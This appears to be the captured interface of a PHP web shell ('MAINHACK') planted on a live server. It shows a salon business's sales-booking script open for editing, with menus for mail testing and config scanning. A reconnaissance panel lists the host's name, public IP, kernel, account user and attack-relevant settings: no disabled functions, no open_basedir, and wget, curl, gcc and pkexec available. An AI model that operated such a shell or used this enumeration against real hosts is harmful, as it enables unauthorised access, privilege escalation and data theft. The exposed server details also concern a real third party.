[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: insertSales.php
<?php include("db.php"); $timezome = 'Africa/Accra'; date_default_timezone_set($timezome); $username = $_SESSION['username_Xw211qAAsq4']; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $client_id = filter_input(INPUT_POST, 'client_id', FILTER_SANITIZE_STRING); $client_id = htmlspecialchars($client_id, ENT_QUOTES, 'UTF-8'); $employee_id = filter_input(INPUT_POST, 'employee_id', FILTER_SANITIZE_STRING); $employee_id = htmlspecialchars($employee_id, ENT_QUOTES, 'UTF-8'); $service_id = $_POST['service_id']; $active12 = filter_input(INPUT_POST, 'active12', FILTER_SANITIZE_STRING); $active12 = htmlspecialchars($active12, ENT_QUOTES, 'UTF-8'); $payment = filter_input(INPUT_POST, 'payment', FILTER_SANITIZE_STRING); $payment = htmlspecialchars($payment, ENT_QUOTES, 'UTF-8'); $date_created = date('Y-m-d h:i:sa'); $created = date("Y-m-d"); $start_time = date('Y-m-d h:i:sa'); $end_time_expected = date('Y-m-d h:i:sa'); $canceled = '0'; $cancellation_reason = ''; $status = 'offline'; $stmtgetCurrentAppointmentID = $con->prepare("SELECT AUTO_INCREMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'thesalonfriend' AND TABLE_NAME = 'appointments'"); $stmtgetCurrentAppointmentID->execute(); $appointment_id = $stmtgetCurrentAppointmentID->fetch(); $payment_mode = 'None'; $stmt = $con->prepare("insert into appointments(date_created,created,client_id,employee_id,start_time,end_time_expected,canceled,cancellation_reason,active,status,payment_mode,business_name) values(?,?,?,?,?,?,?,?,?,?,?,?) "); $stmt->execute(array($date_created,$created,$client_id,$employee_id,$start_time,$end_time_expected,$canceled,$cancellation_reason,$active12,$status,$payment,$shopname)); foreach($service_id as $s_id) { $stmt = $con->prepare("insert into services_booked (appointment_id, service_id) values(?, ?)"); $stmt->execute(array($appointment_id[0],$s_id)); //echo "<script>alert('Record successfully ');</script>"; header("location: ../modals/../../sales"); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002